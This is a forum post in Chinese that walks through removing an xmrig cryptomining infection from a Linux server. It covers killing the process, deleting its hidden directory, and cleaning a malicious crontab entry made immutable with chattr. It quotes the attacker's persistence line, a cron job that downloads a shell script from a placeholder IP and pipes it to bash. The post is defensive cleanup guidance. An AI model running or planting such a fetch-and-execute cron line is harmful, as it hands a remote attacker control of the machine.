个人总结之xmrig 挖矿自动化程序如何彻底删除【Linux问题】 ...

守听  论坛元老 | 2025-4-12 21:10:13 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 2035|帖子 2035|积分 6105

第一步 检查是否存在xmrig正在执行的进程

  1. # 在Linux 系统界面中执行 top
  2. 1 root      20   0  185340  12584   8876 S   190.0   180.3   0:04.82 xmrig
复制代码
正在被挖矿程序占用全部CPU等资源,导致本身业务无内存可用。
第二步 检察当前xmrig 文件在何处并删除

  1. # 你可以获取 它的所在文件
  2. find / -name xmrig
  3. /etc/.system/php/xmrig
  4. # 直接删除当前文件
  5. rm -rf /etc/.system/php
  6. # 然后kill掉当前正在运行的进程PID【就是刚刚查询到的进程PID】
  7. kill -9 PID
复制代码
  这里是通过systemctl list-units --type=service | grep xmrig来进行查询当前系统服务并返回它运行状态
  

你会发现上面的方式的确可以删除,但是过段时间进程依然存在

   这个时候开始怀疑是否存在【定时任务】crontab来创建当进步程
  第三步 检察是否存在定时任务来创建删除的文件和xmrig挖矿程序

就在此时,我们通过vim /etc/crontab
打开当前文件
打开文件
  1. vim /etc/crontab
复制代码
会发现存在若干针对不属于你当前的定时任务 例如
  1. */30 * * * * root cd1 -fsSL http://IP/php/php_8020.sh | bash
  2. ps: 这里的IP就是那些挖矿程序的下载主机的IP
复制代码
首先我们进行删除当前可执行文件中包含这种非常的定时任务【排除当前你自己写的定时任务】
ps:在删除后ESC,生存时发现当前文件没有修改权限
   Operation not permitted
  在退出检察时,并修改chmod 权限
  1. chmod +x /etc/crontab
复制代码
假如这里修改权限出现【chmod: changing permissions of ‘/etc/crontab’: Operation not permitted】
这里很有可能是挖矿人将这个定时任务文件进行移除不可变(i)和附加(a)属性
  1. lsattr /etc/crontab
  2. ----ia--------e----- /etc/crontab
复制代码
我们首先移除i 和a 属性
  1. sudo chattr -i -a /etc/crontab
复制代码
之后,你可以再实验修改文件权限:
  1. sudo chmod 644 /etc/crontab
复制代码
最后检察文件
  1. lsattr /etc/crontab
复制代码
文章到这里也接近尾声!有什么错误的地方希望指正。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

守听

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表